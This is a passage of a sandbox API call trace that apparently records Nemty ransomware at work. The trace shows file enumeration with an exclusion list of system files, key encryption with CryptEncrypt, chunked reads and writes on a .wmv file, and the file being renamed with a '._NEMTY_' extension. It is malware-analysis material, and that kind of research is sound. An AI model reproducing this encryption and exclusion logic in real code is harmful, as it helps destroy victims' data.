nFileSizeLow=0x1d0304, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2=".") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="..") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="...") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="windows") returned -1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="rsa") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="ntldr") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="IO.SYS") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="boot.ini") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="boot.ini") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="ntuser.dat") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="desktop.ini") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="RECYCLER") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="bootmgr") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="programdata") returned 1 [0073.410] lstrcmpiW (lpString1="Title_Page_PAL.wmv", lpString2="appdata") returned 1 [0073.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0073.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0073.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0073.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0073.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0073.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0073.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0073.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0073.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0073.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0073.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0073.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0073.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0073.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0073.411] Sleep (dwMilliseconds=0x5) [0073.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf674b70, dwHighDateTime=0x1d561e7)) [0073.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf674b70, dwHighDateTime=0x1d561e7)) [0073.411] GetLastError () returned 0x5 [0073.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.411] GetLastError () returned 0x5 [0073.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.412] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0073.412] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0073.412] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0073.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0073.412] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="bk8sagPnNm01mOKND/DXdesLVPZRIv94wittVdsGnCkQhtQe27W2yVDUU7eP5mRM\r\nPbuMzpYOWF/bciOLrfGap176uj1K6XYyta4WvNNXpPRP6pKbayzMHtKOLwq44hUk\r\nKGMcUXpmrLjqM8BBUUDScj8SNWI9MNI7AMTaB67Jvc6cACH5kc5QLa6KcCXxUJxr\r\nZgyLJ+unpkAB9qjTGpT3x3urwJUmSxr0rPOJS5CP3LvEnxC2JqKt6Ubiv3rCfk33\r\n0etoU4PPBNpjEKxnUkCOQZV+Lwaa/srVIW4B47z+jzC1oPb5vduFqtPqbmujOhf7\r\nSbvCTKJ0tq9nkY7kQBtBmw==\r\n", pcchString=0x653e91c) returned 1 [0073.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0073.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0073.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0073.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0073.412] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.412] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0073.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0073.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.412] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.459] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.468] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0073.518] CloseHandle (hObject=0xffffffff) returned 0 [0073.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0073.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0073.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0073.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0073.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.518] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv._nemty_kgobjgd_")) returned 0 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0073.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.518] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0073.518] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2=".") returned 1 [0073.518] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="..") returned 1 [0073.518] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="...") returned 1 [0073.518] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="windows") returned -1 [0073.518] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="$RECYCLE.BIN") returned 1 [0073.518] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="rsa") returned 1 [0073.518] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="NTDETECT.COM") returned 1 [0073.518] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="ntldr") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="MSDOS.SYS") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="IO.SYS") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="boot.ini") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="boot.ini") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="ntuser.dat") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="desktop.ini") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="CONFIG.SYS") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="RECYCLER") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="BOOTSECT.BAK") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="bootmgr") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="programdata") returned 1 [0073.519] lstrcmpiW (lpString1="title_trans_notes.wmv", lpString2="appdata") returned 1 [0073.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_notes.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.519] RtlAllocateHeap 